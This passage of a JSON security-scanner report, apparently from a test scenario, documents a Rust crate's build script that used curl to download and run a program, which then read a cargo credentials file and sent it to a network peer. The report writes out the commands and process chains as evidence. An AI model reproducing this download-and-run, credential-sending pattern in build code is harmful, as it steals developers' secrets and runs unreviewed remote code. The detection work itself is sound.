behavior","jobs":1,"jobs_unchecked":0,"key":"network-activity","state":"findings"},{"description":"Sensitive data access and transfer","examined":{"flows":637},"group":"behavior","group_label":"Build behavior","jobs":1,"jobs_unchecked":0,"key":"sensitive-data","state":"findings"},{"description":"Cross-process access","examined":{"operations":0,"processes":127},"group":"behavior","group_label":"Build behavior","jobs":1,"jobs_unchecked":0,"key":"process-interaction","state":"clean"},{"description":"Build file changes","examined":{"trees":1},"group":"behavior","group_label":"Build behavior","jobs":1,"jobs_unchecked":0,"key":"tree-integrity","state":"clean"},{"description":"Build script activity","examined":{"scripts":1},"group":"behavior","group_label":"Build behavior","jobs":1,"jobs_unchecked":0,"key":"build-time-code","state":"findings"},{"description":"Data flow analysis","examined":{"objects":130},"group":"behavior","group_label":"Build behavior","jobs":1,"jobs_unchecked":0,"key":"output-provenance","state":"clean"},{"description":"Filesystem writes","examined":{"trees":8,"writes":19},"group":"behavior","group_label":"Build behavior","jobs":1,"jobs_unchecked":0,"key":"filesystem-writes","state":"clean"},{"description":"Context collection","examined":{"processes":127},"group":"behavior","group_label":"Build behavior","jobs":1,"jobs_unchecked":0,"key":"environment","state":"clean"},{"description":"Known vulnerabilities","examined":{"feeds":0,"packages":3},"group":"supply","group_label":"Supply chain","jobs":0,"jobs_unchecked":1,"key":"known-vulnerabilities","state":"not checked"},{"description":"Build-time dependency advisories","examined":{"feeds":0,"scripts":1},"group":"supply","group_label":"Supply chain","jobs":0,"jobs_unchecked":1,"key":"build-time-advisories","state":"not checked"},{"description":"Dependency advisories","examined":{"feeds":0,"packages":3},"group":"supply","group_label":"Supply chain","jobs":0,"jobs_unchecked":1,"key":"dependency-notices","state":"not checked"},{"description":"Declared and observed dependencies","examined":{"lockfiles":1,"packages":3},"group":"supply","group_label":"Supply chain","jobs":1,"jobs_unchecked":0,"key":"declared-dependencies","state":"clean"},{"description":"Dependency and toolchain versions","examined":{"packages":3,"sources":0},"group":"supply","group_label":"Supply chain","jobs":1,"jobs_unchecked":0,"key":"source-pinning","state":"clean"},{"description":"Pipeline coverage","examined":{"captured":1,"jobs":0},"group":"pipeline","group_label":"Pipeline","jobs":1,"jobs_unchecked":0,"key":"pipeline-coverage","state":"clean"}],"counts":{"detections":4,"discrepancies":0,"posture":0,"suppressed":0,"vulnerabilities":0},"coverage":{"captured":1,"declared":0,"missing":[]},"findings":[{"affects":"build","check":"sensitive-data","confidence":"witnessed","evidence":{"claims":[{"label":"Sensitive-file read linked to a network connection","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"kind":"file","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","role":"source"},{"direction":"out","ip":"18.238.80.121","kind":"connection","node":"n2","port":80,"proto":"tcp","role":"target"}],"text":"Credential store contents linked to this connection through build-time code: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","type":"secret.reached_peer","values":{}}],"evidence":["Credential store contents linked to this connection through build-time code: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml"],"remediation":"Treat the credential as exposed: revoke or rotate it, then remove the build-time code that sent it. The witness chain names the file, the processes that carried its bytes and the destination.","witness":[{"kind":"file","label":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","node":"n1","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","role":"source","via":null},{"host":"18.238.80.121","kind":"connection","label":"18.238.80.121:80","node":"n2","path":null,"port":80,"role":"sink","via":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}]},"jobs":[{"actor":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","rust-setup"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}],"exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}],"kind":"detection","reach":[{"how":"build","name":"arrayref_demo-aae5e5ef1789e531"}],"rule_title":"Possible credential exposure","severity":"critical","status":null,"subject":{"host":"18.238.80.121","kind":"net","port":80},"suppressed":false,"title":"Credential store contents reached a network peer"},{"affects":"build","check":"build-time-code","confidence":"witnessed","evidence":{"claims":[{"label":"Build-time code ran a program downloaded during the build","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"kind":"file","node":"n2","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","role":"subject"},{"direction":"out","ip":"18.238.80.69","kind":"connection","node":"n1","port":443,"proto":"tcp","role":"source"}],"text":"ran /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup, downloaded during the build by curl from 18.238.80.69:443","type":"buildscript.ran_download","values":{"fetched_by":"curl","host":"18.238.80.69"}}],"evidence":["ran /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup, downloaded during the build by curl from 18.238.80.69:443"],"remediation":"A dependency's build downloaded a program and ran it, outside anything the registry checksums. Review what the program did, rotate any credential the build could read, and pin or replace the dependency.","witness":[{"host":"18.238.80.69","kind":"connection","label":"18.238.80.69:443","node":"n1","path":null,"port":443,"role":"source","via":null},{"kind":"file","label":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","node":"n2","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","role":"subject","via":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out","exe":"/usr/bin/curl","pid":2060}}]},"jobs":[{"actor":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","rust-setup"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}],"exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}],"kind":"detection","reach":[{"how":"build","name":"arrayref_demo-aae5e5ef1789e531"}],"rule_title":"Unexpected build script activity","severity":"high","status":null,"subject":{"kind":"crate","name":"proc-macro1","version":"0.1.0"},"suppressed":false,"title":"Build script ran a program it downloaded"},{"affects":"build","check":"sensitive-data","confidence":"witnessed","evidence":{"claims":[{"label":"Credential store read by build-time code","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"kind":"file","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","role":"source"}],"text":"Credential store read by build-time code that does not own it: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","type":"secret.read","values":{}}],"evidence":["Credential store read by build-time code that does not own it: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml"],"remediation":"Build-time code has no business reading a credential store it does not own. Review the build script or compiler plugin that read it, and rotate the credential if the read is not explained.","witness":[]},"jobs":[{"actor":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","rust-setup"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}],"exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}],"kind":"detection","reach":[{"how":"build","name":"arrayref_demo-aae5e5ef1789e531"}],"rule_title":"Credential store read by build-time code","severity":"high","status":null,"subject":{"kind":"crate","name":"proc-macro1","version":"0.1.0"},"suppressed":false,"title":"Credential store read by build-time code"},{"affects":"build","check":"network-activity","confidence":"witnessed","evidence":{"claims":[{"label":"What a build script's fetch became","process":null,"role":"support","subjects":[],"text":"1 file came down; the build compiled or linked  and ran rust-setup","type":"fetch.kept","values":{"built":[],"files":1,"ran":["/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup"]}},{"label":"Connection outside the process’s allowed destinations","process":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"role":"cause","subjects":[{"direction":"out","ip":"18.238.80.69","kind":"connection","node":"n1","port":443,"proto":"tcp","role":"subject"}],"text":"connection to 18.238.80.69:443, opened by curl","type":"egress.unentitled_connection","values":{"entitlement":"none"}},{"label":"Connection outside the process’s allowed destinations","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"direction":"out","ip":"18.238.80.121","kind":"connection","node":"n2","port":80,"proto":"tcp","role":"subject"}],"text":"connection to 18.238.80.121:80, opened by rust-setup","type":"egress.unentitled_connection","values":{"entitlement":"none"}},{"label":"Data sent; no reply recorded","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"support","subjects":[{"direction":"out","ip":"18.238.80.121","kind":"connection","node":"n2","port":80,"proto":"tcp","role":"subject"}],"text":null,"type":"egress.sent_no_reply","values":{}},{"label":"Connection opened by a build script or child process","process":null,"role":"support","subjects":[],"text":"the opener descends from the build script at /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","type":"buildscript.connected","values":{"build_script":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","crate":"proc-macro1"}},{"label":"Tool command","process":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"role":"support","subjects":[{"kind":"process","process":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"role":"subject"}],"text":"Command: curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","type":"buildscript.invocation","values":{}},{"label":"Tool command","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"support","subjects":[{"kind":"process","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"subject"}],"text":"Command: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","type":"buildscript.invocation","values":{}}],"evidence":["1 file came down; the build compiled or linked  and ran rust-setup","connection to 18.238.80.69:443, opened by curl","connection to 18.238.80.121:80, opened by rust-setup"],"remediation":"A dependency's build downloaded files the build then compiled, linked or ran, outside anything the registry checksums. Review what came down, pin or replace the dependency, or record the download as accepted once it is reviewed.","witness":[]},"jobs":[{"actor":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","curl"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060}],"exe":"/usr/bin/curl","pid":2060}}],"kind":"detection","reach":[{"how":"build","name":"arrayref_demo-aae5e5ef1789e531"}],"rule_title":"Unexpected network connection","severity":"high","status":null,"subject":{"kind":"crate","name":"proc-macro1","version":"0.1.0"},"suppressed":false,"title":"Build script fetched what the build compiled, linked or ran"}],"generated_at_ms":1791935278064,"groups":{"behavior":"flagged","pipeline":"clean","posture":"not checked","supply":"clean"},"jobs":[{"analyzed":true,"conclusion":"success","job":"build","name":"build","status":"analyzed","verdict":"flagged"}],"network":{"fetches":[{"by":"project","class":"undeclared","exes":["curl"],"files":1,"host":"18.238.80.69","jobs":[{"job":"build","name":"build"}],"linked":false,"port":443}],"peers":[{"actors":[{"by":"project","class":"undeclared","component":"arrayref-0.3.10","exe":"rust-setup","jobs":["build"],"package":null,"threads":[{"job":"build","name":"build"}],"verdicts":["build-flagged"],"vias":[]}],"asn":null,"class":"undeclared","host":"18.238.80.121","jobs":[{"job":"build","name":"build","status":"flagged"}],"org":null,"port":80,"status":"flagged"},{"actors":[{"by":"project","class":"undeclared","component":null,"exe":"curl","jobs":["build"],"package":null,"threads":[{"job":"build","name":"build"}],"verdicts":["build-flagged"],"vias":[]}],"asn":null,"class":"undeclared","host":"18.238.80.69","jobs":[{"job":"build","name":"build","status":"flagged"}],"org":null,"port":443,"status":"flagged"}]},"pipeline_id":"arrayref-0.3.10","report":"report.json","repository":"incidents/cargo/arrayref","run":{"analyzed_ts_ms":1791937617698,"branch":"","built":true,"groups":null,"pipeline_id":"arrayref-0.3.10","ref":"refs/tags/0.3.10","revision":"","started_ts_ms":1791937614102,"status":"complete","verdict":"flagged"},"schema":1,"stats":{"analyzed":{"artifacts":1,"compiler_invocations":3,"feeds":0,"lockfiles":1,"packages":5},"checks":{"clean":8,"findings":3,"not_applicable":1,"not_checked":3,"run":15},"observed":{"connections":2,"interactions":3483,"jobs":1,"objects":564,"operations":2047,"processes":127,"wall_s":0}},"status":"open","tarp_version":"0.1.0+g0b1984d463f5","verdict":"flagged"}